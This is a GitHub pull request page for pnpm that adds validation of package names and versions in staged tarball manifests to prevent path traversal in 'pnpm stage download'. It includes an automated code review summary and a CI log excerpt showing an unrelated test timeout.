Skip to content

fix: validate staged tarball filenames#12303

Merged
zkochan merged 1 commit into
mainfrom
vuln-038
Jun 10, 2026
Merged

fix: validate staged tarball filenames#12303
zkochan merged 1 commit into
mainfrom
vuln-038

Conversation

@zkochan

@zkochan zkochan commented Jun 10, 2026

Copy link
Copy Markdown
Member

Summary

  • validate package names and versions from staged tarball manifests before deriving tarball filenames
  • constrain pnpm stage download output paths to the selected download directory
  • add regression coverage for traversal-bearing manifest metadata

Pacquet is not changed because it does not implement the stage/release command surface.

Validation

  • ./node_modules/.bin/tsgo --build releasing/commands/tsconfig.json
  • ./node_modules/.bin/eslint releasing/commands/src/stage/download.ts releasing/commands/src/stage/rendering.ts releasing/commands/src/tarball/summarizeTarball.ts releasing/commands/src/tarball/safeTarballFilename.ts releasing/commands/test/stage.test.ts
  • PNPR_PREPARE_BIN=/Users/zoltan/.cargo_shared_target/debug/pnpr-prepare PNPR_BIN=/Users/zoltan/.cargo_shared_target/debug/pnpr NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/stage.test.ts -t "stage download" --runInBand
  • PNPR_PREPARE_BIN=/Users/zoltan/.cargo_shared_target/debug/pnpr-prepare PNPR_BIN=/Users/zoltan/.cargo_shared_target/debug/pnpr NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/stage.test.ts --runInBand
  • git diff --check -- releasing/commands/src/stage/download.ts releasing/commands/src/stage/rendering.ts releasing/commands/src/tarball/summarizeTarball.ts releasing/commands/src/tarball/safeTarballFilename.ts releasing/commands/test/stage.test.ts .changeset/stale-stage-tarballs.md pnpm-lock.yaml

Written by an agent (Codex, GPT-5).

Summary by CodeRabbit

  • Bug Fixes

    • pnpm stage download now validates package names and versions from staged tarball manifests before downloading
    • Added path traversal protection to ensure downloaded files remain within the intended directory
  • Tests

    • Expanded test coverage for staged tarball download security validation

@coderabbitai

coderabbitai Bot commented Jun 10, 2026

Copy link
Copy Markdown

Review Change Stack

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 40e412bb-c006-4837-992e-c194bcb345c3

📥 Commits

Reviewing files that changed from the base of the PR and between 3d50680 and d967524.

📒 Files selected for processing (6)
  • .changeset/stale-stage-tarballs.md
  • releasing/commands/src/stage/download.ts
  • releasing/commands/src/stage/rendering.ts
  • releasing/commands/src/tarball/safeTarballFilename.ts
  • releasing/commands/src/tarball/summarizeTarball.ts
  • releasing/commands/test/stage.test.ts
📜 Recent review details
🧰 Additional context used
📓 Path-based instructions (2)
**/*.{ts,tsx,js,jsx}

📄 CodeRabbit inference engine (AGENTS.md)

**/*.{ts,tsx,js,jsx}: Use Standard Style with trailing commas, prefer functions over classes, declare functions after they are used (relying on hoisting), limit functions to no more than two or three arguments, and use a single options object for functions needing more parameters
Follow import order: standard libraries first, then external dependencies (sorted alphabetically), then relative imports
Do not write comments that restate what the code already says; rename variables, split helpers, or move checks to more obvious places instead
Do not repeat documentation at call sites that already lives on the callee; update the JSDoc once and let every call site benefit
Use JSDoc for the function's contract (preconditions, postconditions, edge cases, why the function exists), not for re-narrating the function body
Do not record past implementation shape, refactor history, or removed code in comments; use git log and git blame for that information instead
Write comments only when the reason for code is non-obvious, a hidden invariant exists, a workaround for a known bug is needed, or an exception to surrounding pattern is deliberate

Files:

  • releasing/commands/src/tarball/safeTarballFilename.ts
  • releasing/commands/test/stage.test.ts
  • releasing/commands/src/stage/download.ts
  • releasing/commands/src/tarball/summarizeTarball.ts
  • releasing/commands/src/stage/rendering.ts
**/*.test.{ts,tsx}

📄 CodeRabbit inference engine (AGENTS.md)

Do not use instanceof Error for checking if a caught error is an Error object in Jest tests; use util.types.isNativeError() instead to work across realms

Files:

  • releasing/commands/test/stage.test.ts
🧠 Learnings (4)
📚 Learning: 2026-05-14T09:04:00.133Z
Learnt from: zkochan
Repo: pnpm/pnpm PR: 11622
File: resolving/npm-resolver/test/publishedBy.test.ts:350-354
Timestamp: 2026-05-14T09:04:00.133Z
Learning: In the pnpm/pnpm repository, ESLint is the authoritative style linter. Do not raise review findings for missing trailing commas in multiline function calls (e.g., `fs.writeFileSync(...)`) when this repo’s ESLint configuration does not report them and lint passes. Prefer deferring to the ESLint results for this specific trailing-comma rule rather than enforcing it manually in code review.

Applied to files:

  • releasing/commands/src/tarball/safeTarballFilename.ts
  • releasing/commands/test/stage.test.ts
  • releasing/commands/src/stage/download.ts
  • releasing/commands/src/tarball/summarizeTarball.ts
  • releasing/commands/src/stage/rendering.ts
📚 Learning: 2026-06-05T13:47:26.046Z
Learnt from: vsumner
Repo: pnpm/pnpm PR: 12190
File: installing/deps-installer/src/install/index.ts:2337-2343
Timestamp: 2026-06-05T13:47:26.046Z
Learning: In the pnpm/pnpm codebase, `PnpmError` automatically prefixes `err.code` with `ERR_PNPM_` when you pass a code that does not already start with `ERR_PNPM_` (it normalizes `this.code` via `code.startsWith('ERR_PNPM_') ? code : `ERR_PNPM_${code}``). Therefore, during code review you should NOT flag `new PnpmError(...)` call sites for passing a bare error code (e.g., `new PnpmError('FROZEN_STORE_INCOMPATIBLE_WITH_PNPR', ...)`); the resulting `err.code` will still be `ERR_PNPM_FROZEN_STORE_INCOMPATIBLE_WITH_PNPR`.

Applied to files:

  • releasing/commands/src/tarball/safeTarballFilename.ts
  • releasing/commands/test/stage.test.ts
  • releasing/commands/src/stage/download.ts
  • releasing/commands/src/tarball/summarizeTarball.ts
  • releasing/commands/src/stage/rendering.ts
📚 Learning: 2026-06-05T13:47:05.929Z
Learnt from: vsumner
Repo: pnpm/pnpm PR: 12190
File: installing/deps-installer/test/install/frozenStore.ts:2-17
Timestamp: 2026-06-05T13:47:05.929Z
Learning: In the pnpm/pnpm repository, the shared Jest preset keeps `injectGlobals` at its default (`true`), so `test` and `expect` are available as Jest globals. Therefore, reviewers should not flag (or treat as TypeScript/compilation errors) missing `import { test, expect } from 'jest/globals'` when a test file uses `test`/`expect` without importing them. Importing from `jest/globals` may still be used for consistency with sibling files, but it is not required for execution in this repo unless a Jest preset is explicitly configured with `injectGlobals: false`.

Applied to files:

  • releasing/commands/test/stage.test.ts
📚 Learning: 2026-05-26T21:01:06.666Z
Learnt from: zkochan
Repo: pnpm/pnpm PR: 11966
File: .changeset/require-tarball-integrity.md:6-6
Timestamp: 2026-05-26T21:01:06.666Z
Learning: In pnpm lockfile-related release notes/docs (especially changeset markdown), preserve URL hostnames exactly as they appear in pnpm-lock.yaml tarball resolution entries—keep hosts like `codeload.github.com`, `bitbucket.org`, and `gitlab.com` in lowercase. Do not “correct” them to title-case/preserve brand capitalization (e.g., LanguageTool rules like `GITHUB` capitalization) because these are literal URL fragments, not platform brand names.

Applied to files:

  • .changeset/stale-stage-tarballs.md
🔇 Additional comments (9)
.changeset/stale-stage-tarballs.md (1)

1-6: LGTM!

releasing/commands/test/stage.test.ts (4)

8-8: LGTM!


283-316: LGTM!


318-351: LGTM!


417-432: LGTM!

releasing/commands/src/tarball/safeTarballFilename.ts (1)

1-30: LGTM!

releasing/commands/src/stage/download.ts (1)

4-7: LGTM!

Also applies to: 10-10, 24-31

releasing/commands/src/tarball/summarizeTarball.ts (1)

8-8: LGTM!

Also applies to: 84-84

releasing/commands/src/stage/rendering.ts (1)

4-4: LGTM!


📝 Walkthrough

Walkthrough

This pull request adds comprehensive filename and path validation to pnpm stage download to prevent directory traversal attacks. A new createTarballFilename function validates npm package names and versions, then enforces that generated filenames contain no path components. The download command integrates this validation and checks that output paths remain within the download directory. Existing modules are refactored to use the centralized function.

Changes

Tarball Filename Validation and Download Security

Layer / File(s) Summary
Safe tarball filename validation
releasing/commands/src/tarball/safeTarballFilename.ts
Introduces createTarballFilename with npm package name and semver version validation, normalizes package names by removing @ and replacing / with -, generates .tgz filenames, and rejects any filename containing path components. Adds normalizePackageName helper for consistent normalization.
Download command security
releasing/commands/src/stage/download.ts
Updates stageDownload to use createTarballFilename for filename generation, resolves output path via path.resolve, and adds containment check that verifies the output path remains within downloadDir; throws INVALID_TARBALL_FILENAME on traversal attempts before writing tarball bytes.
Consolidate filename generation across modules
releasing/commands/src/tarball/summarizeTarball.ts, releasing/commands/src/stage/rendering.ts
Refactors both modules to import and use centralized createTarballFilename instead of duplicating logic; removes local implementations and re-exports normalizePackageName from shared validator.
Test coverage for directory traversal prevention
releasing/commands/test/stage.test.ts
Adds tar-stream import and two new tests that verify directory traversal via package name and version path components in manifests are rejected before writing files; includes createPackageTarball helper for constructing in-memory test tarballs.
Release notes
.changeset/stale-stage-tarballs.md
Documents patch release for @pnpm/releasing.commands and pnpm, noting validation of invalid package names and versions from staged tarball manifests.

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~28 minutes

Possibly related PRs

  • pnpm/pnpm#11863: Introduces the initial pnpm stage command implementation that this PR secures by adding tarball filename validation and path containment checks.

Poem

🐰 A tarball comes with names so wild,
But now we check before it's filed—
No paths that trick, no names that stray,
Safe in their dir, where they should stay!

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title 'fix: validate staged tarball filenames' directly and clearly summarizes the main security fix: validating package names and versions from staged tarball manifests before deriving filenames, which constrains output paths to prevent traversal attacks.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch vuln-038

Warning

There were issues while running some tools. Please review the errors and either fix the tool's configuration or disable the tool if it's a critical failure.

🔧 ESLint

If the error stems from missing dependencies, add them to the package.json file. For unrecoverable errors (e.g., due to private dependencies), disable the tool in the CodeRabbit configuration.

ESLint install failed. For unrecoverable errors, disable the tool in CodeRabbit configuration.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@qodo-free-for-open-source-projects

Copy link
Copy Markdown

CI Feedback 🧐

A test triggered by this PR failed. Here is an AI-generated analysis of the failure:

Action: windows-latest / Node.js 22.13.0 / Test

Failed stage: Run tests (affected packages) [❌]

Failed test name: dlx creates cache and store prune cleans cache

Failure summary:

The action failed because Jest reported a failing test suite in the .test step:
- FAIL test/dlx.ts
with the test dlx creates cache and store prune cleans cache timing out after 180000ms (3 minutes).

- The timeout originates from test/utils/execPnpm.ts:2851:15 (Timeout._onTimeout), causing Jest to
exit with a failure.
- This single Jest failure caused pnpm -r run .test to stop with
[ERR_PNPM_RECURSIVE_RUN_FIRST_FAIL] and exit code 1 ([ELIFECYCLE]), which failed the GitHub Action.

Relevant error logs:
1:  ##[group]Runner Image Provisioner
2:  Hosted Compute Agent
...

234:  Progress: resolved 1654, reused 0, downloaded 1652, added 1654, done
235:  .../node_modules/fuse-native install$ node-gyp-build
236:  .../node_modules/ghooks install$ node ./bin/module-install
237:  .../node_modules/esbuild postinstall$ node install.js
238:  .../node_modules/unrs-resolver postinstall$ node postinstall.js
239:  .../node_modules/ghooks install: This does not seem to be a git project.
240:  .../node_modules/ghooks install: Although ghooks was installed, the actual git hooks have not.
241:  .../node_modules/ghooks install: Run "git init" and then "npm explore ghooks -- npm run install".
242:  .../node_modules/ghooks install: 
243:  .../node_modules/ghooks install: Please ignore this message if you are not using ghooks directly.
244:  .../node_modules/ghooks install: Done
245:  .../node_modules/msgpackr-extract install$ node-gyp-build-optional-packages
246:  .../node_modules/fuse-native install: 'node-gyp.cmd' is not recognized as an internal or external command,
247:  .../node_modules/fuse-native install: operable program or batch file.
248:  .../node_modules/esbuild postinstall: Done
249:  .../node_modules/fuse-native install: Failed
250:  .../node_modules/unrs-resolver postinstall: [napi-postinstall@0.3.4] Failed to find package "@unrs/resolver-binding-win32-x64-msvc" on the file system
251:  .../node_modules/unrs-resolver postinstall: 
252:  .../node_modules/unrs-resolver postinstall: This can happen if you use the "--no-optional" flag. The "optionalDependencies"
253:  .../node_modules/unrs-resolver postinstall: package.json feature is used by unrs-resolver to install the correct napi binary
254:  .../node_modules/unrs-resolver postinstall: for your current platform. This install script will now attempt to work around
255:  .../node_modules/unrs-resolver postinstall: this. If that fails, you need to remove the "--no-optional" flag to use unrs-resolver.
256:  .../node_modules/unrs-resolver postinstall: 
257:  .../node_modules/unrs-resolver postinstall: [napi-postinstall@0.3.4] Trying to install package "@unrs/resolver-binding-win32-x64-msvc" using npm
258:  .../node_modules/unrs-resolver postinstall: [napi-postinstall@0.3.4] Failed to install package "@unrs/resolver-binding-win32-x64-msvc" using npm Cannot find module 'unrs-resolver/package.json'
259:  .../node_modules/unrs-resolver postinstall: Require stack:
...

312:  ##[endgroup]
313:  ##[group]Run npm --version
314:  �[36;1mnpm --version�[0m
315:  shell: C:\Program Files\PowerShell\7\pwsh.EXE -command ". '{0}'"
316:  env:
317:  PNPM_HOME: C:\Users\runneradmin\setup-pnpm\node_modules\@pnpm\exe
318:  ##[endgroup]
319:  10.9.8
320:  ##[group]Run actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c
321:  with:
322:  name: compiled-packages
323:  merge-multiple: false
324:  repository: pnpm/pnpm
325:  run-id: 27257402713
326:  skip-decompress: false
327:  digest-mismatch: error
328:  env:
...

535:  - D:\a\pnpm\pnpm\pnpr\crates\pnpr-fixtures\Cargo.toml
536:  - D:\a\pnpm\pnpm\pnpr\crates\pnpr\Cargo.toml
537:  - D:\a\pnpm\pnpm\rust-toolchain.toml
538:  ##[endgroup]
539:  ... Restoring cache ...
540:  No cache found.
541:  ##[group]Run cargo build --locked --release -p pnpr --bin pnpr -p pnpr-fixtures --bin pnpr-prepare
542:  �[36;1mcargo build --locked --release -p pnpr --bin pnpr -p pnpr-fixtures --bin pnpr-prepare�[0m
543:  �[36;1mmkdir -p .pnpr-bin�[0m
544:  �[36;1mext=""�[0m
545:  �[36;1m[ -f target/release/pnpr.exe ] && ext=".exe"�[0m
546:  �[36;1mcp "target/release/pnpr$ext" "target/release/pnpr-prepare$ext" .pnpr-bin/�[0m
547:  shell: C:\Program Files\Git\bin\bash.EXE --noprofile --norc -e -o pipefail {0}
548:  env:
549:  PNPM_HOME: C:\Users\runneradmin\setup-pnpm\node_modules\@pnpm\exe
550:  CACHE_ON_FAILURE: false
551:  CARGO_INCREMENTAL: 0
...

710:  Downloaded snafu v0.8.9
711:  Downloaded serde_json v1.0.150
712:  Downloaded libsql-sqlite3-parser v0.13.0
713:  Downloaded libsql-rusqlite v0.9.30
714:  Downloaded libsql v0.9.30
715:  Downloaded libm v0.2.16
716:  Downloaded aws-lc-sys v0.40.0
717:  Downloaded toml_datetime v1.1.1+spec-1.1.0
718:  Downloaded tokio-stream v0.1.18
719:  Downloaded tokio-rustls v0.26.4
720:  Downloaded tokio-macros v2.7.0
721:  Downloaded tokio-io-timeout v1.2.1
722:  Downloaded tinyvec_macros v0.1.1
723:  Downloaded tinyvec v1.11.0
724:  Downloaded tinystr v0.8.3
725:  Downloaded thiserror-impl v2.0.18
726:  Downloaded thiserror-impl v1.0.69
727:  Downloaded thiserror v2.0.18
728:  Downloaded thiserror v1.0.69
729:  Downloaded textwrap v0.16.2
...

790:  Downloaded smart-default v0.7.1
791:  Downloaded smallvec v1.15.1
792:  Downloaded slab v0.4.12
793:  Downloaded siphasher v1.0.3
794:  Downloaded simd-adler32 v0.3.9
795:  Downloaded signature v2.2.0
796:  Downloaded shlex v1.3.0
797:  Downloaded sharded-slab v0.1.7
798:  Downloaded sha2-asm v0.6.4
799:  Downloaded sha2 v0.10.9
800:  Downloaded sha1 v0.10.6
801:  Downloaded sha-1 v0.10.1
802:  Downloaded serdect v0.3.0
803:  Downloaded serdect v0.2.0
804:  Downloaded serde_urlencoded v0.7.1
805:  Downloaded serde_path_to_error v0.1.20
806:  Downloaded serde_derive v1.0.228
...

1148:  Compiling regex-syntax v0.8.10
1149:  Compiling zerofrom-derive v0.1.7
1150:  Compiling regex-automata v0.4.14
1151:  Compiling cmake v0.1.58
1152:  Compiling derive_more v2.1.1
1153:  Compiling zerofrom v0.1.7
1154:  Compiling yoke-derive v0.8.2
1155:  Compiling fnv v1.0.7
1156:  Compiling stable_deref_trait v1.2.1
1157:  Compiling tokio-util v0.7.18
1158:  Compiling sha2 v0.10.9
1159:  Compiling yoke v0.8.2
1160:  Compiling tower-service v0.3.3
1161:  Compiling zerovec-derive v0.11.3
1162:  Compiling percent-encoding v2.3.2
1163:  Compiling thiserror v2.0.18
1164:  Compiling displaydoc v0.2.5
1165:  Compiling thiserror-impl v2.0.18
1166:  Compiling ahash v0.8.12
1167:  Compiling zerovec v0.11.6
1168:  Compiling getrandom v0.4.2
1169:  Compiling httparse v1.10.1
1170:  Compiling crossbeam-utils v0.8.21
1171:  Compiling rand_core v0.10.1
1172:  Compiling tower-layer v0.3.3
1173:  Compiling httpdate v1.0.3
1174:  Compiling thiserror v1.0.69
1175:  Compiling try-lock v0.2.5
1176:  Compiling bitflags v2.11.1
1177:  Compiling want v0.3.1
1178:  Compiling tinystr v0.8.3
1179:  Compiling thiserror-impl v1.0.69
1180:  Compiling crc32fast v1.5.0
...

1586:  Compiling pacquet-engine-runtime-node-resolver v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\engine-runtime-node-resolver)
1587:  Compiling pacquet-engine-runtime-deno-resolver v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\engine-runtime-deno-resolver)
1588:  Compiling pacquet-cmd-shim v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\cmd-shim)
1589:  Compiling pacquet-resolving-default-resolver v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\resolving-default-resolver)
1590:  Compiling pacquet-lockfile-verification v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\lockfile-verification)
1591:  Compiling pacquet-resolving-git-resolver v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\resolving-git-resolver)
1592:  Compiling pacquet-resolving-local-resolver v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\resolving-local-resolver)
1593:  Compiling pacquet-lockfile-preferred-versions v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\lockfile-preferred-versions)
1594:  Compiling libsql-hrana v0.9.30
1595:  Compiling axum-core v0.5.6
1596:  Compiling pacquet-real-hoist v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\real-hoist)
1597:  Compiling pacquet-graph-hasher v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\graph-hasher)
1598:  Compiling pacquet-modules-yaml v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\modules-yaml)
1599:  Compiling quick-xml v0.38.4
1600:  Compiling bincode v1.3.3
1601:  Compiling serde_path_to_error v0.1.20
1602:  Compiling humantime v2.3.0
...

1605:  Compiling pacquet-package-manager v0.0.1 (D:\a\pnpm\pnpm\pacquet\crates\package-manager)
1606:  Compiling axum v0.8.9
1607:  Compiling object_store v0.12.5
1608:  Compiling bcrypt v0.19.1
1609:  Compiling pnpr-fixtures v0.0.1 (D:\a\pnpm\pnpm\pnpr\crates\pnpr-fixtures)
1610:  Compiling pnpr v0.0.1 (D:\a\pnpm\pnpm\pnpr\crates\pnpr)
1611:  Finished `release` profile [optimized] target(s) in 13m 48s
1612:  ##[group]Run ext=""
1613:  �[36;1mext=""�[0m
1614:  �[36;1m[ -f "$PWD/.pnpr-bin/pnpr.exe" ] && ext=".exe"�[0m
1615:  �[36;1mecho "PNPR_BIN=$PWD/.pnpr-bin/pnpr$ext" >> "$GITHUB_ENV"�[0m
1616:  �[36;1mecho "PNPR_PREPARE_BIN=$PWD/.pnpr-bin/pnpr-prepare$ext" >> "$GITHUB_ENV"�[0m
1617:  shell: C:\Program Files\Git\bin\bash.EXE --noprofile --norc -e -o pipefail {0}
1618:  env:
1619:  PNPM_HOME: C:\Users\runneradmin\setup-pnpm\node_modules\@pnpm\exe
1620:  CACHE_ON_FAILURE: false
1621:  CARGO_INCREMENTAL: 0
...

1625:  �[36;1m  echo "script=ci:test-all" >> "$GITHUB_OUTPUT"�[0m
1626:  �[36;1m  echo "scope=all" >> "$GITHUB_OUTPUT"�[0m
1627:  �[36;1melse�[0m
1628:  �[36;1m  git remote set-branches --add origin main && git fetch origin main --depth=1�[0m
1629:  �[36;1m  if [ -n "$(git diff --name-only origin/main HEAD -- pnpm-workspace.yaml)" ]; then�[0m
1630:  �[36;1m    echo "script=ci:test-all" >> "$GITHUB_OUTPUT"�[0m
1631:  �[36;1m    echo "scope=all — pnpm-workspace.yaml modified" >> "$GITHUB_OUTPUT"�[0m
1632:  �[36;1m  else�[0m
1633:  �[36;1m    echo "script=ci:test-branch" >> "$GITHUB_OUTPUT"�[0m
1634:  �[36;1m    echo "scope=affected packages" >> "$GITHUB_OUTPUT"�[0m
1635:  �[36;1m  fi�[0m
1636:  �[36;1mfi�[0m
1637:  shell: C:\Program Files\Git\bin\bash.EXE --noprofile --norc -e -o pipefail {0}
1638:  env:
1639:  PNPM_HOME: C:\Users\runneradmin\setup-pnpm\node_modules\@pnpm\exe
1640:  CACHE_ON_FAILURE: false
1641:  CARGO_INCREMENTAL: 0
1642:  PNPR_BIN: /d/a/pnpm/pnpm/.pnpr-bin/pnpr.exe
1643:  PNPR_PREPARE_BIN: /d/a/pnpm/pnpm/.pnpr-bin/pnpr-prepare.exe
1644:  REF_NAME: vuln-038
1645:  ##[endgroup]
1646:  From https://github.com/pnpm/pnpm
1647:  * branch            main       -> FETCH_HEAD
1648:  * [new branch]      main       -> origin/main
1649:  ##[group]Run pn run "$TEST_SCRIPT"
1650:  �[36;1mpn run "$TEST_SCRIPT"�[0m
1651:  shell: C:\Program Files\Git\bin\bash.EXE --noprofile --norc -e -o pipefail {0}
1652:  env:
1653:  PNPM_HOME: C:\Users\runneradmin\setup-pnpm\node_modules\@pnpm\exe
1654:  CACHE_ON_FAILURE: false
1655:  CARGO_INCREMENTAL: 0
...

1810:  √ branch name with multiple slashes (1 ms)
1811:  readReleased
1812:  √ returns empty set when directory is missing (3 ms)
1813:  √ reads ids from .txt files and merges across files (4 ms)
1814:  √ skips comments and empty lines (3 ms)
1815:  appendReleased
1816:  √ writes ids to <branch>.txt sorted (3 ms)
1817:  √ dedupes against existing entries on disk (3 ms)
1818:  √ uses sanitized filename for branches with / (2 ms)
1819:  √ no-op for empty list (1 ms)
1820:  √ creates the released directory if missing (3 ms)
1821:  hideReleased / restoreHidden / deleteHidden
1822:  √ hides files matching released ids; leaves others alone (13 ms)
1823:  √ restoreHidden brings them back to .md (3 ms)
1824:  √ deleteHidden removes the .md.released files (3 ms)
1825:  √ rolls back already-renamed files when a later rename fails (8 ms)
1826:  listChangesetIds
...

1881:  index.js            |   82.92 |       72 |   91.66 |   82.78 | 65,70,117,150-155,162,167,176,180,184,204-210,213 
1882:  test/listing/utils   |     100 |      100 |     100 |     100 |                                                   
1883:  index.ts            |     100 |      100 |     100 |     100 |                                                   
1884:  test/outdated/utils  |     100 |      100 |     100 |     100 |                                                   
1885:  index.ts            |     100 |      100 |     100 |     100 |                                                   
1886:  ----------------------|---------|----------|---------|---------|---------------------------------------------------
1887:  Test Suites: 12 passed, 12 total
1888:  Tests:       1 skipped, 122 passed, 123 total
1889:  Snapshots:   0 total
1890:  Time:        29.903 s
1891:  Ran all test suites.
1892:  Force exiting Jest: Have you considered using `--detectOpenHandles` to detect async operations that kept running after all tests finished?
1893:  ##[endgroup]
1894:  ##[group]pnpm@11.5.2 : .test pnpm
1895:  $ cross-env NODE_OPTIONS="$NODE_OPTIONS --experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" jest
1896:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\9_6956\11\project-1\package.json" (from D:\a\pnpm\pnpm\pnpm\test\monorepo\index.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1897:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\9_6956\12\project-1\package.json" (from D:\a\pnpm\pnpm\pnpm\test\monorepo\index.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1898:  PASS test/monorepo/index.ts (81.153 s)
1899:  PASS test/verifyDepsBeforeRun/multiProjectWorkspace.ts (64.102 s)
1900:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\11_6956\4\global\pnpm\global\v11\store\v11\links\@pnpm.e2e\peer-c\2.0.0\85462182e05a2704bc5b1cc3bd43542b5d01463e13e8495171cd5307f2188538\node_modules\@pnpm.e2e\peer-c\package.json" (from D:\a\pnpm\pnpm\pnpm\test\install\global.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1901:  PASS test/install/global.ts (39.732 s)
1902:  PASS test/update.ts (46.157 s)
1903:  PASS test/packageManagerCheck.test.ts (36.996 s)
1904:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\14_6956\14\project\package.json" (from D:\a\pnpm\pnpm\pnpm\test\install\misc.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1905:  PASS test/install/misc.ts (90.69 s)
1906:  PASS test/saveCatalog.ts (15.311 s)
1907:  FAIL test/dlx.ts (208.201 s)
1908:  ● dlx creates cache and store prune cleans cache
1909:  Command timed out after 180000ms
1910:  �[0m�[0m
1911:  at Timeout._onTimeout (test/utils/execPnpm.ts:2851:15)
1912:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\17_6956\19\project\package.json" (from D:\a\pnpm\pnpm\pnpm\test\install\hooks.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1913:  PASS test/install/hooks.ts (23.831 s)
1914:  PASS test/install/minimumReleaseAge.ts (23.052 s)
1915:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\19_6956\9\project\package.json" (from D:\a\pnpm\pnpm\pnpm\test\install\lifecycleScripts.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1916:  PASS test/install/lifecycleScripts.ts (35.974 s)
1917:  PASS artifacts/exe/test/setup.test.ts
1918:  PASS test/verifyDepsBeforeRun/exec.ts (29.629 s)
1919:  PASS test/recursive/misc.ts (12.136 s)
1920:  PASS src/switchCliVersion.test.ts
1921:  PASS test/hooks.ts (23.88 s)
1922:  PASS test/clean.ts (14.395 s)
1923:  PASS test/configurationalDependencies.test.ts (15.639 s)
1924:  PASS test/install/pnpmRegistry.ts (12.045 s)
1925:  PASS test/config/get.ts (30.545 s)
1926:  PASS test/syncInjectedDepsAfterScripts.ts (10.707 s)
1927:  PASS src/syncEnvLockfile.test.ts
1928:  PASS test/verifyDepsBeforeRun/singleProjectWorkspace.ts (22.468 s)
1929:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\30_6956\1\project\args.json" (from D:\a\pnpm\pnpm\pnpm\test\run.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1930:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\30_6956\2\project\args.json" (from D:\a\pnpm\pnpm\pnpm\test\run.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1931:  Jest: importing JSON without an import attribute is deprecated and will be a hard error in the next major. Update the import of "D:\a\pnpm_tmp\30_6956\3\project\args.json" (from D:\a\pnpm\pnpm\pnpm\test\run.ts): use `with { type: 'json' }` for static imports, or pass `{ with: { type: 'json' } }` as the second argument to dynamic `import()`.
1932:  PASS test/run.ts (24.775 s)
...

1938:  at console.<anonymous> (../../../../.pnpm-store/v11/links/@/jest-mock/30.4.1/80c0e1f0d47263af847b42daaf452afab804ad681abe071d3edc703b2f7cf396/node_modules/jest-mock/build/index.js:631:25)
1939:  at getConfig (src/getConfig.ts:1796:13)
1940:  at Object.<anonymous> (test/getConfig.test.ts:57:3)
1941:  PASS test/switchingVersions.test.ts (23.662 s)
1942:  PASS test/monorepo/dedupePeers.test.ts (10.197 s)
1943:  PASS test/config/list.ts
1944:  PASS test/install/pacquet.ts (6.546 s)
1945:  PASS test/cli.ts (22.83 s)
1946:  PASS test/install/globalVirtualStore.ts (5.146 s)
1947:  PASS test/deploy.ts
1948:  PASS test/verifyDepsBeforeRun/install.ts (9.154 s)
1949:  PASS test/install/runtimeOnFail.ts (13.695 s)
1950:  PASS test/recursive/filter.ts
1951:  PASS test/withCommand.test.ts (9.511 s)
1952:  PASS test/recursive/rebuild.ts
1953:  PASS test/errorHandler.test.ts
1954:  PASS test/ci.ts (6.397 s)
...

1964:  PASS test/filterProd.test.ts
1965:  PASS test/install/configDeps.ts
1966:  PASS test/sbom.ts (5.126 s)
1967:  PASS test/uninstall.ts (6.072 s)
1968:  PASS test/install/selfUpdate.ts
